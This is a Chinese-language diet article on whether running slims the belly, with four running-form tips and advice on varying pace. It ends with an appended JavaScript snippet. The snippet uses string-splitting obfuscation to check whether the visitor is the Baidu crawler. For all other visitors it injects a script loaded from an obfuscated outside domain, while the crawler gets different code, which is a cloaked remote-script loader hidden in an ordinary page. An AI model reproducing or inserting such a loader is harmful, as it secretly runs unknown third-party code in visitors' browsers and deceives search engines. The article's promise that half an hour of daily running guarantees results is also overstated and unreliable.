当前位置:首页 > 减肥 > 运动减肥 > 正文

跑步可以瘦肚子吗

2017-04-22 00:05:07  来源:360常识网   热度:
导语:看着肚子上面一圈圈赘肉,不仅影响视觉效果,摸上去也非常尴尬难受,很多人想到了跑步,想通过跑步来减肥,瘦肚子,那么跑步会瘦肚子吗?要

看着肚子上面一圈圈赘肉,不仅影响视觉效果,摸上去也非常尴尬难受,很多人想到了跑步,想通过跑步来减肥,瘦肚子,那么跑步会瘦肚子吗?要想通过跑步瘦肚子,不是一朝一夕就可以完成的,需要坚持一段时间的训练,而且跑步瘦肚子要讲究方法技巧,看看下面几个步骤吧!

1.面朝前方

跑步的时候,挺胸抬头,面朝正前方,视线往远处望去,下巴尽量往前伸展,不要收拢起来,这样会令上身自然挺直。

2.打开胸廓

先深呼吸,令胸廓打开,这样也同样能令上身挺值,在往前跑步的时候更能产生推动力,跑起来不费劲。

3.双臂放松

跑步的时候,两臂自然屈肘,放于两侧并放松,无名指与小拇指自然弯曲,大拇指、食指与中指则自然张开,无需刻意摆动手臂。

4、迈开步伐

变速跑对减掉腹部赘肉和提高新陈代谢是非常有效的,不要在跑步过程中一直保持均匀的速度,试着挑战一下跑步的极限,然后再慢慢开始减速,按照快慢交叉跑步法来减掉腹部的赘肉。

跑步会瘦肚子,而且瘦肚子效果非常好,上面的四点就是告诉大家如何正确跑步,学会了这些跑步方法,每天花半个小时来运动,就不愁瘦不下来了。跑步贵在坚持,瘦肚子、瘦腰部、臀部、还有肩部等等都是可以的,希望大家可以多跑步。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}